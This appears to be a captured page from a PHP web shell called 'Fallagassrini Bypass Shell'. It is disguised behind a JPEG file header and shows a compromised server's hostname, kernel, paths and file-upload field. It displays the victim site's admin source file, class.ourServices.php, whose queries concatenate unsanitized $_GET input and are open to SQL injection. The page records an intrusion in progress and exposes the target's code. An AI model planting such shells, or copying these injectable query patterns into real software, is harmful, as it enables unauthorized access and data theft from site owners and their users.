JFIF;CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), quality = 85 C  !"$"$C$^" }!1AQa"q2#BR$3br %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz w!1AQaq"2B #3Rbr $4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz ? C^",k8`98?þ. s$ֱ$Xw_Z¿2b978%Q}s\ŴqXxzK1\@N2<JY{lF/Z=N[xrB}FJۨ<yǽw 5o۹^s(!fF*zn5`Z}Ҋ">Ir{_+<$$C_UC)^r25d:(c⣕U .fpSnFe\Ӱ.չ8# m=8iO^)R=^*_:M3x8k>(yDNYҵ/v-]WZ}h[*'ym&e`Xg>%̲yk߆՞Kwwrd󞼎 r;M<[AC¤ozʪ+h%BJcd`*ǎVz%6}G;mcՊ~b_aaiiE4jPLU<Ɗvg?q~!vc DpA/m|=-nux^Hޔ|mt&^ 唉KH?񯣾 ^]G\4#r qRRGV!i~眦]Ay6O#gm&;UV BH ~Y8( J4{U| 14%v0?6#{t񦊊#+{E8v??c9R]^Q,h#i[Y'Š+xY佑VR{ec1%|]p=Vԡʺ9rOZY L(^*;O'ƑYxQdݵq~5_uk{yH$HZ(3 )~G Fallagassrini

Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /home/easwari/www/admin/includes/classes/

Linux 141.162.178.68.host.secureserver.net 3.10.0-1160.114.2.el7.x86_64 #1 SMP Wed Mar 20 15:54:52 UTC 2024 x86_64
Upload File :
Current File : /home/easwari/www/admin/includes/classes/class.ourServices.php

<?php
#####Class For Adding Content Management ######
class ourServices extends MysqlFns{
 
 /* class constructor */
 function ourServices(){
 $this->LDDisplayPath= $config['SiteGlobalPath']."class.ourServices.php";
     global $objSmarty,$config;
	$tbl = $config['DBPrefix'];

  $this->MysqlFns();
  $this->Limit = 20;
   $this->Keyword = '';
  $this->Operator = '';
  $this->PerPage = '';
  
  
  	$SelQuerys	= 'SELECT max(sl_no) as last FROM `services` Limit 0,1';
   		$SupDetail	= $this->ExecuteQuery($SelQuerys, 'select');
   
   		if($SupDetail[0]['last']!="")
   		{
			$SupDetail[0]['sl_no'] = stripslashes($SupDetail[0]['last']);
			$s_id1 = preg_replace("/[^0-9\.]/", '', $SupDetail[0]['sl_no']);
			$s_id1= $s_id1 + 1;
			$str = str_split($SupDetail[0]['last'], 3);
			$s_id = $str[0]. "" .$s_id1;
   		} else
   		{
   		   $s_id = "SUP10001";
   		}
		$objSmarty->assign('s_id', $s_id);
  

  
	
 }

 //Create FCK Editor
 function CreateFCKeditor($value = ''){
     global $objSmarty,$config;
	$tbl = $config['DBPrefix'];


  include($config['FckEditorPath'] . '/fckeditor.php');
  $sBasePath = $config['SiteFCKEditorBasePath'];

  $oFCKeditor 			= new FCKeditor('content') ;
  $oFCKeditor->BasePath	= $sBasePath ;
  $oFCKeditor->Width		= 600 ;
  $oFCKeditor->Height		= 450 ;
  $oFCKeditor->Value		= $value;
  $objSmarty->assign('Editor', $oFCKeditor->Create());
 }
 
 
 /* Delete the Static Page */
 function DeleteCus($CusIdent){
    global $objSmarty,$config;
	$tbl = $config['DBPrefix'];

  foreach ( $CusIdent as $ConId ){
   if($ConId){
    $DelQuery = 'DELETE FROM `arka_site_reg_master` WHERE `site_id` ='.$ConId;
	$this->ExecuteQuery($DelQuery, 'delete');
   }
  }
  $objSmarty->assign('Keyword', $this->Keyword);
  $objSmarty->assign('Operator', $this->Operator);
  $objSmarty->assign('Offset', $this->Offset);
  $objSmarty->assign('PerPage', $this->PerPage);
  return true;
 }
 
 /* Insert the content for  Static Pages */
 
 function InsertServicesContent($objArray,$objFiles){

      global $objSmarty,$config,$_FILES,$_POST;
	   
	$tbl = $config['DBPrefix'];
	
	 if($this->ChkDupliMat(($objArray))){
	
		list ($name,$format) = split("[.]", $objFiles['icon']['name'],2);
		$uploadpath = $config['serviceImagePath'];

				if($objFiles['icon']["name"] <> "")
		{
		
			    $errors     = array();
   				$maxsize    = 5242880;
   				$acceptable = array(
				'image/jpeg','image/jpg','image/gif','image/png','application/pdf','text/plain','application/msword','application/vnd.openxmlformats-officedocument.presentationml.presentation','application/vnd.openxmlformats-officedocument.wordprocessingml.document',
				'application/x-zip-compressed','application/vnd.ms-excel','application/vnd.ms-powerpoint','video/pps','application/vnd.openxmlformats-officedocument.spreadsheetml.sheet');
		if(($_FILES['icon']['size'] >= $maxsize) || ($_FILES["icon"]["size"] == 0)) {
		$errors[] = 'File --1-- too large. File must be less than 2 megabytes';
		}
		
		if((!in_array($_FILES['icon']['type'], $acceptable)) && (!empty($_FILES["icon"]["type"])))
		 {
		$errors1[] = 'File --1-- Only PDF, JPG, JPEG, TXT, DOC, DOCX, XLS, XLSX, ZIP, PPT, PPTX, GIF and PNG types are accepted';
		}
		
		if(count($errors)  === 0 && count($errors1)  === 0) 
		{
			if((!file_exists($config['serviceImagePath'] . $_FILES["icon"]["name"])))
			{	$time = date("Y_m_d_H_i_s");
				$f1 = $objFiles['icon']['name'];
				$f1 = $time.'_'.$f1;
				
				if(move_uploaded_file($objFiles['icon']['tmp_name'], $uploadpath.$f1))
				//echo ($uploadpath.$f1);exit;
				chmod($uploadpath.$f1,"0511");
			}
		   } 
		  
			else {
        	foreach($errors as $error) 
			{
            $objSmarty->assign('ErrorMessage', $error);
				//$url_addtnal_data=base64_encode($error);
				//header('location:'.$_SERVER['PHP_SELF']."?em=".$url_addtnal_data);
				return false;			
        }
		foreach($errors1 as $error1) 
			{
            $objSmarty->assign('ErrorMessage', $error1);
				//$url_addtnal_data=base64_encode($error);
				//header('location:'.$_SERVER['PHP_SELF']."?em=".$url_addtnal_data);
				return false;						
        }
		
		}
	}




  /* if(!$objArray['tittle']){
    $objSmarty->assign('ErrorMessage', 'Tittle should not be blank');
	return false;
   }elseif(!$objArray['description']){
    $objSmarty->assign('ErrorMessage', 'Description should not be blank');
	return false;
   }elseif(!$objArray['icon']){
    $objSmarty->assign('ErrorMessage', 'Icon should not be blank');
	return false;
   }*/
  /* if($this->chk_previous_data($objArray))
   */
   
  // if($this->ChkDupliCust($objArray))
  // $objSmarty->assign('sl_no', $objArray['supplierCode']);
   if($objArray['tittle']){
   $InsQuery = 'INSERT INTO `services`(`tittle`,`description`,`icon`,`status`) VALUES("'.trim(addslashes($objArray['tittle'])).'","'.trim(addslashes($objArray['description'])).'","'.$f1.'","1")';
  	 $this->ExecuteQuery($InsQuery, 'insert');
	// header('Location:' .$_SERVER['PHP_SELF'].'?server_response=success&sl_no='.$objArray['supplierCode'].'&window_action=true');
	


	$oFCKeditor->Value		= '';
	$objSmarty->assign('tittle', '');
	$url_addtnal_data=base64_encode("New Services Added Successfully");
    header('location:'.$_SERVER['PHP_SELF']."?server_response=success&sm=".$url_addtnal_data);
	//PrePopulate($objArray, 'CusDetail');
	  }
 }
 }


 
 /* Validation for Static Pages */
 function ChkDupliCust($c_id){
  global $objSmarty;
  if(!empty($c_id))
  echo $c_id;
 // $WhereClause	= ' AND `id` != '.$Ident;
 $SelQuery2		= 'SELECT * FROM `services` WHERE `sl_no` = "'.$c_id['cst_no'].'" Limit 0,1';
  $CusDetail		= $this->ExecuteQuery($SelQuery2, 'select');
  if(!empty($CusDetail) && is_array($CusDetail))
   return false;
  else
   return true;
 }
 
 function ChkDupliMat($objarray){
  global $objSmarty;
  if(!empty($objarray))
  $SelQueryx		= 'SELECT * FROM `services` WHERE `tittle` = "'.$objarray['tittle'].'" Limit 0,1';
  $DevDetail		= $this->ExecuteQuery($SelQueryx, 'select');
  if(!empty($DevDetail) && is_array($DevDetail))
   return false;
  else
   return true;
 }
 
 
 function chk_previous_data($c_id){
  global $objSmarty;
  
  if(!empty($c_id))
 // $WhereClause	= ' AND `id` != '.$Ident;
  $SelQuery2		= 'SELECT * FROM `services` WHERE `vat_no` = "'.$c_id['vat_no'].'" AND `record_status`=1 AND `sl_no`!= "'.$c_id['s_code'].'"  AND `record_status`=1 AND `sl_no`!= "'.$c_id['s_code'].'" AND `record_status`=1 AND `sl_no`!= "'.$c_id['s_code'].'" OR `cst_no` = "'.$c_id['cst_no'].'" AND `record_status`=1 AND `sl_no`!= "'.$c_id['s_code'].'"  Limit 0,1';
  $CusDetail		= $this->ExecuteQuery($SelQuery2, 'select');
  if(!empty($CusDetail) && is_array($CusDetail))
   return false;
  else
   return true;
 }
 
 
 /* Delete the Static Page */
 function DeleteID($id){
  global $objSmarty;
  $UpQuery1 = 'update `services` set record_status ="0" WHERE `sl_no`="'.$_GET['sl_no'].'"';
$this->ExecuteQuery($UpQuery1, 'delete');
// header('Location:' .$_SERVER['PHP_SELF'].'?sl_no='.$_GET['sl_no'].'&server_response=update success');	
  header('Location:' .$_SERVER['PHP_SELF'].'?server_response=delete_success');
 }
 /*Roles list */
 
  function RoleList(){
	global $objSmarty;
	 $SelQuery1	= 'SELECT role_name FROM arka_group_mapping WHERE `group_name` = "'.$_SESSION['USER_GROUP'].'" ORDER BY sl_no';
	  $RL		= $this->ExecuteQuery($SelQuery1, "select");

  if(!empty($RL) && is_array($RL))
   foreach($RL as $key=>$value){
    $RL[$key]['role_id'] = stripslashes($RL[$key]['role_id']);
	$RL[$key]['role_name'] = stripslashes($RL[$key]['role_name']);
	$objSmarty->assign('RList', $RL);
  return $RL;
		}
	}
	
 function GetVendorDetails($objArray='')  
	{
		global $objSmarty;
		$SelQuery4 = 'SELECT * FROM `services` WHERE sl_no ="'.$_GET['sl_no'].'" AND record_status="1"' ;
		$PageList2		= $this->ExecuteQuery($SelQuery4, "select");
        $objSmarty->assign('PageList2', $PageList2);
	}	
	function GetServiceList($objArray='')  
	{
		global $objSmarty;
		$SelQuery5 = 'SELECT * FROM `services` WHERE status<>"0" ORDER BY sl_no DESC' ;
		$PageList		= $this->ExecuteQuery($SelQuery5, "select");
        $objSmarty->assign('PageList', $PageList);
	}	
	//Delete Plan List
 function DeleteServiceList(){
   
   $SelQuery = 'UPDATE `services` set status = "0" WHERE tittle = "'.$_GET['service'].'" ';
   $DList = $this->ExecuteQuery($SelQuery, "update");
    $url_addtnal_data=base64_encode("Service Deleted Successfully");
   header('location:'.$_SERVER['PHP_SELF']."?sm=".$url_addtnal_data);
  // $objSmarty->assign('DList',$DList);
   
 }
 //Get Member Details 
 
  function GetServiceMgmt($objArray='')  
	{
		global $objSmarty;
		$SelQuery4 = 'SELECT * FROM `services` WHERE sl_no ="'.$_GET['slno'].'" AND tittle="'.$_GET['name'].'" AND status="1"' ;
		$PageList2		= $this->ExecuteQuery($SelQuery4, "select");
        $objSmarty->assign('PageList2', $PageList2);
	}	
//Get Member Details 
 
  function GetServiceEditMgmt($objArray='')  
	{
		global $objSmarty;
		$SelQuery4 = 'SELECT * FROM `services` WHERE tittle="'.$_GET['name'].'" AND status="1"' ;
		$PageList3		= $this->ExecuteQuery($SelQuery4, "select");
        $objSmarty->assign('PageList3', $PageList3);
	}
	
	function EditService($objArray,$objFiles)
 {
	  global $objSmarty,$config,$_FILES,$_POST;
	   
$objSmarty->assign('Keyword', $this->Keyword);
  $objSmarty->assign('Operator', $this->Operator);
  $objSmarty->assign('Offset', $this->Offset);
  $objSmarty->assign('PerPage', $this->PerPage);	
	 if($this->ChkDupliMat(($objArray))){
	
		list ($name,$format) = split("[.]", $objFiles['icon']['name'],2);
		$uploadpath = $config['serviceImagePath'];

				if($objFiles['icon']["name"] <> "")
		{
		
			    $errors     = array();
   				$maxsize    = 5242880;
   				$acceptable = array(
				'image/jpeg','image/jpg','image/gif','image/png','application/pdf','text/plain','application/msword','application/vnd.openxmlformats-officedocument.presentationml.presentation','application/vnd.openxmlformats-officedocument.wordprocessingml.document',
				'application/x-zip-compressed','application/vnd.ms-excel','application/vnd.ms-powerpoint','video/pps','application/vnd.openxmlformats-officedocument.spreadsheetml.sheet');
		if(($_FILES['icon']['size'] >= $maxsize) || ($_FILES["icon"]["size"] == 0)) {
		$errors[] = 'File --1-- too large. File must be less than 2 megabytes';
		}
		
		if((!in_array($_FILES['icon']['type'], $acceptable)) && (!empty($_FILES["icon"]["type"])))
		 {
		$errors1[] = 'File --1-- Only PDF, JPG, JPEG, TXT, DOC, DOCX, XLS, XLSX, ZIP, PPT, PPTX, GIF and PNG types are accepted';
		}
		
		if(count($errors)  === 0 && count($errors1)  === 0) 
		{
			if((!file_exists($config['serviceImagePath'] . $_FILES["icon"]["name"])))
			{	$time = date("Y_m_d_H_i_s");
				$f1 = $objFiles['icon']['name'];
				$f1 = $time.'_'.$f1;
				
				if(move_uploaded_file($objFiles['icon']['tmp_name'], $uploadpath.$f1))
				//echo ($uploadpath.$f1);exit;
				chmod($uploadpath.$f1,"0511");
			}
		   } 
		  
			else {
        	foreach($errors as $error) 
			{
            $objSmarty->assign('ErrorMessage', $error);
				//$url_addtnal_data=base64_encode($error);
				//header('location:'.$_SERVER['PHP_SELF']."?em=".$url_addtnal_data);
				return false;			
        }
		foreach($errors1 as $error1) 
			{
            $objSmarty->assign('ErrorMessage', $error1);
				//$url_addtnal_data=base64_encode($error);
				//header('location:'.$_SERVER['PHP_SELF']."?em=".$url_addtnal_data);
				return false;						
        }
		
		}
	}

   if(!$objArray['tittle']){
	$objSmarty->assign('ErrorMessage', 'Title should not be blank');
	return false;
   }/*elseif(!$objArray['icon']){
	$objSmarty->assign('ErrorMessage', 'Icon should not be blank');
	return false;
   }*/elseif(!$objArray['description']){
	$objSmarty->assign('ErrorMessage', 'Description should not be blank');	
	return false;
   }
 /*  if($this->ChkDupliCust($objArray)) 
    $objSmarty->assign('s_code', $objArray['s_code']);
   if($objArray['s_code'] && $objArray['sname'])*/
   if($objArray['tittle']){
    if($f1!= ''){
  	$UpQuery = 'UPDATE `services` SET `tittle` = "'.trim($objArray['tittle']).'",`icon` = "'.$f1.'",`description` = "'.trim($objArray['description']).'" WHERE `tittle` ="'.$_GET['name'].'"';
	}
	else
	{
	$UpQuery = 'UPDATE `services` SET `tittle` = "'.trim($objArray['tittle']).'",`description` = "'.trim($objArray['description']).'" WHERE `tittle` ="'.$_GET['name'].'"';
	}
		$this->ExecuteQuery($UpQuery, 'update');
// header('Location:' .$_SERVER['PHP_SELF'].'?server_response=success&supplier_code='.$objArray['supplierCode'].'&window_action=true');
 header('Location:' .$_SERVER['PHP_SELF'].'?name='.$_GET['name'].'&server_response=update success');	
	//$this->GetSupplierView($objArray);
	/*$url_addtnal_data=base64_encode("Supplier Details Updated Successfully");
    header('location:'.$_SERVER['PHP_SELF']."?sm=".$url_addtnal_data."&supplier_id=".$objArray['s_code']);
	return true;*/
}
}
}
  }

?>



bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net